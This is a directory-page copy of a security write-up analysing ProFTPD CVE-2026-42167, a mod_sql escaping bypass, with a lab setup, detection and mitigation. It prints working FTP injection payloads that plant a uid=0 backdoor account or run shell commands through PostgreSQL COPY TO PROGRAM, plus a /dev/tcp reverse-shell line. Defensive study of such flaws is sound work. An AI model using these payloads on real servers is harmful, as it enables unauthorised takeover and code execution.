Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
proftpd-CVE-2026-42167-analysis — Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass). | Kitploit
Tools/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass).

View Repository
314 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42167 — ProFTPD mod_sql SQL Injection / Auth Bypass / RCE

Independent reproduction, code-level root-cause walkthrough, and a frank exposure analysis for CVE-2026-42167 — the is_escaped_text() bypass in ProFTPD's mod_sql logging pipeline disclosed by ZeroPath Research and fixed in ProFTPD 1.3.9a / 1.3.10rc1.

Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.

TL;DR — see Bottom line for the realistic exposure picture before deciding how worried to be. This is not a default-install bug, but the dangerous quoting pattern is the pattern the upstream docs tell you to use, so a large fraction of mod_sql deployments inherit it.

FieldValue
CVECVE-2026-42167
CWECWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM)
AffectedProFTPD ≤ 1.3.9 with mod_sql + SQLLog/SQLNamedQuery whose format string interpolates an attacker-controlled variable inside single quotes
Fixed in1.3.9a (af90843ba…) / 1.3.10rc1, see commit e6f728481 ("Issue #2052")
Pinned vulnerable commitae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Vulnerable filecontrib/mod_sql.c lines 741–758 (is_escaped_text) and line 777 (sql_resolved_append_text)
Original disclosurehttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Public PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Release noteshttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Root cause — is_escaped_text() heuristic in contrib/mod_sql.c

mod_sql resolves logging format variables (%U, %{basename}, etc.) and appends each piece into the rendered SQL via sql_resolved_append_text(). To preserve backwards compatibility with admin configs that already wrap variables in '…', the function calls is_escaped_text() to decide whether sql_escapestring is needed:

root@kitploit:~
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741  static int is_escaped_text(const char *text, size_t text_len) {
742    register unsigned int i;
743
744    if (text[0] != '\'')              return FALSE;
745    if (text[text_len-1] != '\'')     return FALSE;
746    for (i = 1; i < text_len-1; i++)
747      if (text[i] == '\'')            return FALSE;
748    return TRUE;
749  }
…
777    if (is_escaped_text(text, text_len) == FALSE) {
…       /* …sql_escapestring()… */
790    } else {
791      pr_trace_msg(trace_channel, 17,
792        "text '%s' is already escaped, skipping escaping it again", text);
793      new_text = (char *) text;
794      new_textlen = text_len;
795    }

The check is purely structural — it cannot distinguish "already escaped by trusted code" from "crafted by an attacker to look already escaped." Any client-supplied value matching '<no-internal-quotes>' skips sql_escapestring and is concatenated raw into the final query.

The standard, documented config wraps %U / %{basename} / %m in single quotes:

root@kitploit:~
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

When the attacker sends USER '<payload>' (start- and end-quote, no internal quotes), the resolver substitutes %U unescaped, producing ''<payload>'' in the SQL — the empty string literals close the surrounding quotes and <payload> runs as raw SQL. With PostgreSQL (PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so <payload> can be any sequence of statements.

Because SQLLog ERR_* fires on failed logins and %U is set from USER before authentication, the attack is fully unauthenticated.

The fix (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gains an already_escaped parameter. Callers that resolve values from client input pass FALSE and now go through sql_escapestring unconditionally — the is_escaped_text() heuristic is still applied for the legitimate "config has pre-escaped value" path but no longer applies to attacker-controlled data.


2. Lab environment

root@kitploit:~
+--------------------+         FTP 21          +-----------------------+
|  attacker (host)   |  <-->  127.0.0.1:2121  |  proftpd-poc-server   |
|  python3 PoCs      |                        |  ProFTPD 1.3.9-pre    |
+--------------------+                        |  mod_sql_postgres     |
                                              +-----------+-----------+
                                                          | libpq
                                                          v
                                              +-----------------------+
                                              | proftpd-poc-postgres  |
                                              | PostgreSQL 15         |
                                              | role 'proftpd' = SU   |
                                              +-----------------------+
  • Both containers stand up via setup/docker-compose.yml.
  • setup/proftpd.conf enables the vulnerable logging config (see §1).
  • setup/seed.sql creates users, groups, activity_log, xfer_log, and secrets, plus a single legitimate FTP user ftpuser / ftppass.

3. Reproduction — copy/paste

Prerequisites: Docker Desktop, Python 3.10+, git. (uv is optional; the PoCs are stdlib-only.)

root@kitploit:~
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

The two interactive variants in the upstream repo (preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a PTY-backed reverse shell. They use the same primitive as the marker variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.


4. The payloads, byte-for-byte

Pre-auth backdoor (USER command, %U)

root@kitploit:~
USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x

Why it works:

  1. The outer quotes + no internal quotes match is_escaped_text() → escape skipped.
  2. The configured SQLNamedQuery is INSERT "'%U', '%r', '%m'" activity_log, so the rendered SQL becomes INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>') — but <payload> itself starts with ', so the effective query is INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>').
  3. -- comments out the trailing format slots.
  4. $$…$$ PostgreSQL dollar-quoting lets us pass strings (backdoor, pwned123, /, /bin/bash) without ever using ' — preserving the is_escaped_text() bypass.
  5. SQLLog ERR_* fires on the failed login → PQexec() runs the stacked INSERT INTO users → backdoor account exists in the auth table.

Post-auth backdoor (STOR filename, %{basename})

root@kitploit:~
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Same bypass, different trigger. chr(47) = '/' is used because / in a filename is interpreted as a directory separator by FTP, so the attacker can't put a literal / in the filename — chr() lets the backdoor account get homedir = '/' without sending one over the wire.

Pre-auth RCE (USER + COPY TO PROGRAM)

root@kitploit:~
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<shell-cmd>$$; --'
PASS x

Where <shell-cmd> is any command. PostgreSQL runs it through /bin/sh on the database host as the postgres OS user. Requires the DB role used by mod_sql to be a superuser (or member of pg_execute_server_program) — common in single-tenant deployments and the default for the official postgres Docker image when the role is created via POSTGRES_USER.


5. Evidence captured during reproduction

FileWhat it shows
logs/01_preauth_backdoor.logPre-auth PoC output, login as backdoor succeeds (230)
logs/02_db_users_after.logusers table now contains backdoor / pwned123 / uid=0
logs/03_postauth_stor_backdoor.logPost-auth PoC output via STOR %{basename}
logs/05_preauth_rce_marker.logMarker payload sent over FTP
logs/06_users_final.logFinal users table state
logs/07_proftpd_trace.logProFTPD's own trace log printing text '…' is already escaped, skipping escaping it again for each injected payload — direct evidence of is_escaped_text() returning TRUE on attacker input
logs/08_rce_proof.log/tmp/cve-2026-42167-rce.txt written by the postgres user on the postgres container
screenshots/*.pngPNG renders of each captured terminal session

The trace log line is the smoking gun:

root@kitploit:~
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

That message is emitted at contrib/mod_sql.c:791 only when is_escaped_text() returned TRUE — i.e. exactly the bypass.


6. Detection / mitigation

Detection (forensics on a deployed server):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log with Trace sql:17 enabled flags every injection attempt that reached the bypass.
  • Audit activity_log (or whichever table SQLNamedQuery INSERT writes into): rows where the username column starts with a stray quote, contains null, null);, or contains INSERT/COPY TO PROGRAM/UPDATE are evidence.
  • Audit the users table for accounts with uid=0, homedir='/', or shell set to a real shell when the policy is to use /sbin/nologin.

Mitigation:

  • Upgrade ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
  • Compensating control if upgrade is not yet possible: drop attacker- controllable variables from SQLNamedQuery format strings (replace '%U' with the safer %U only inside parameterised backends, or use plaintext file-based logging for failed logins).
  • Defence-in-depth: ensure the mod_sql PostgreSQL role is not a superuser — that alone removes the COPY TO PROGRAM RCE path (the auth bypass via stacked INSERT INTO users still works, but the blast radius is contained to the proftpd database).

7. File map for this repository

root@kitploit:~
.
├── README.md                  # this file
├── poc/                       # ZeroPath PoC, cloned
│   ├── README.md
│   ├── pocs/
│   │   ├── preauth_user_backdoor.py
│   │   ├── preauth_user_rce.py
│   │   ├── preauth_rce_marker.py        # added — non-interactive RCE proof
│   │   ├── postauth_stor_backdoor.py
│   │   └── postauth_stor_rce.py
│   └── setup/
│       ├── docker-compose.yml
│       ├── Dockerfile.proftpd
│       ├── proftpd.conf
│       ├── seed.sql
│       ├── setup.sh
│       └── teardown.sh
├── logs/                      # raw terminal output captured during reproduction
└── screenshots/               # PNG renders of each log
    ├── 00_overview.png
    ├── 01_preauth_backdoor.png
    ├── 02_db_users_after.png
    ├── 03_postauth_stor_backdoor.png
    ├── 04_preauth_rce_marker.png
    ├── 05_rce_proof.png
    ├── 06_proftpd_trace.png
    └── 07_users_final.png

8. Is this realistic — or a contrived edge case?

The honest answer: narrower than a "send-one-packet-and-own-the-server" worm, but the vulnerable pattern is in ProFTPD's own documentation, so it's not contrived. Three independent dimensions decide whether a given deployment is hit, and each one whittles down the population.

8.1 Is mod_sql even loaded?

mod_sql is opt-in. It's not in the default ProFTPD build and not in the default config of distro packages like Debian's proftpd-basic. You only have it if:

  • You compiled with --with-modules=mod_sql:mod_sql_<backend>, or
  • You installed a backend-specific package: Debian proftpd-mod-pgsql / proftpd-mod-mysql / proftpd-mod-sqlite, RHEL proftpd-postgresql / proftpd-mysql.

People install those packages for a clear reason: SQL-backed authentication (users in a DB instead of /etc/passwd) or SQL-backed activity logging for audit. Both are common in shared-hosting, managed-FTP, and corporate FTP-drop deployments. So mod_sql is a real chunk of the install base — just not "every server."

8.2 Is the vulnerable SQLNamedQuery pattern actually used?

This is where realism is highest. The pattern that triggers the bug is the documented one. Examples lifted directly from the upstream tree at the pinned vulnerable commit:

root@kitploit:~
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Every one wraps an attacker-controlled variable (%u, %r) in single quotes — exactly the shape is_escaped_text() mis-classifies. An admin who copy-pastes from the upstream docs inherits the vulnerable pattern. That's the headline reason to take this seriously.

8.3 Pre-auth vs post-auth

The fully-unauthenticated path (USER + %U + SQLLog ERR_*) is the narrowest case. It requires all three:

  • A SQLNamedQuery interpolating %U (original-username, set even on failed login) inside single quotes — less common than %u in real configs, since most admins want the successful username for audit and use %u.
  • A SQLLog directive that fires before authentication. SQLLog ERR_* is the canonical wildcard for that. SQLLog PASS … and SQLLog STOR … (the most common forms) do not.
  • A backend that supports stacked queries (PostgreSQL or SQLite — see §8.4).

If the config uses %u rather than %U, the same bug still produces auth-bypass — but only post-auth, i.e. the attacker first needs any working credentials before they can plant a uid=0 backdoor. In most real configs this is the realistic exposure: low-privilege FTP user → root- equivalent FTP user via one upload.

8.4 Backend matters a lot

The bypass fires identically on every backend, but what the attacker can do differs sharply:

BackendStacked queries?Auth bypass via INSERT INTO usersRCE on DB host
PostgreSQLYes (PQexec)WorksYes via COPY TO PROGRAM if DB role is superuser
SQLiteYes (sqlite3_exec)Works (and the FTP worker often has PRIVS_ROOT — even worse)No direct equivalent, but writable users table → root FTP login
MySQLNo — mysql_real_query w/o CLIENT_MULTI_STATEMENTSCannot append a second statement; reduces to single-statement subquery / blind SQLi for data exfil onlyNo

PostgreSQL or SQLite ⇒ full impact. MySQL ⇒ data leakage / time-based blind only. MySQL is by far the most common backend for shared hosting (cPanel, Plesk, ISPConfig all default to it); PostgreSQL is more common in custom enterprise builds. Both populations are non-trivial.

8.5 RCE has its own gate

The headline COPY TO PROGRAM RCE additionally requires the mod_sql PostgreSQL role to be a superuser (or a member of pg_execute_server_program). That's:

  • Common when the DB was created with the official postgres Docker image's POSTGRES_USER env var (the default for most PoC labs and many appliance images, including this repo's setup/).
  • Common when ProFTPD owns its own DB instance (single-tenant deployments, hosted appliance images).
  • Less common when DBA-led provisioning created the role with least-privilege.

If the role is not a superuser, you still get the auth-bypass primitive (itself critical), but the OS-level RCE on the DB host disappears.


9. Putting it together — who is realistically exposed

root@kitploit:~
ProFTPD installs
└── ~with mod_sql loaded   ←── opt-in but common in shared/managed FTP
    ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's
    │   the documented form)
    │   ├── PostgreSQL backend
    │   │   ├── DB role = superuser  →  pre-/post-auth RCE on DB host
    │   │   └── DB role ≠ superuser  →  post-auth root FTP backdoor (auth bypass)
    │   ├── SQLite backend           →  post-auth root FTP backdoor
    │   │                                (worker often runs as root → very bad)
    │   └── MySQL backend            →  post-auth blind SQLi / data exfil only
    └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon)
                                     →  fully pre-auth versions of the above

10. Recommendation

For anyone running ProFTPD mod_sql:

  • Upgrade to ≥ 1.3.9a regardless. It's the only complete fix.
  • Compensating controls until you can patch:
    • Drop the DB role to non-superuser — kills the RCE branch on PostgreSQL.
    • Audit your users / auth table for stray uid=0 rows or recently- added accounts — see §6.
    • Enable Trace sql:17 and grep is already escaped, skipping escaping it again in trace.log — that line is direct evidence of an attempted bypass.
    • If feasible, drop SQLLog ERR_* directives and any SQLNamedQuery INSERT formats that interpolate %U (the pre-auth primitive). The post-auth path will still exist via %u / %{basename}, but you remove the worst case.

11. Bottom line

  • This is not a "default install vulnerability" — you have to be running mod_sql.
  • It is a "follow-the-docs vulnerability" — the dangerous quoting pattern is the official one, copy-pasted across the upstream HOWTOs.
  • The fully unauthenticated scenario from the headline is real but requires a specific (pre-auth %U + SQLLog ERR_* wildcard) config combo that is less common than the post-auth path.
  • The post-auth privilege escalation scenario (any FTP user → uid=0 FTP backdoor) is the much more realistic one and applies to a large fraction of mod_sql + PostgreSQL/SQLite deployments using the documented logging patterns.
  • The OS-level RCE on the DB host is gated on the DB role being a superuser — common in single-tenant / appliance-style setups, less common in DBA-managed environments.

Credits

  • Vulnerability discovered and originally disclosed by ZeroPath Research.
  • Public PoC repository: ZeroPathAI/proftpd-CVE-2026-42167-poc.
  • Fix by TJ Saunders, commit e6f72848 ("Issue #2052").

This repository is independent reproduction and analysis for defensive research and education. No 0-day. Use only on systems you are authorised to test.

Download Tool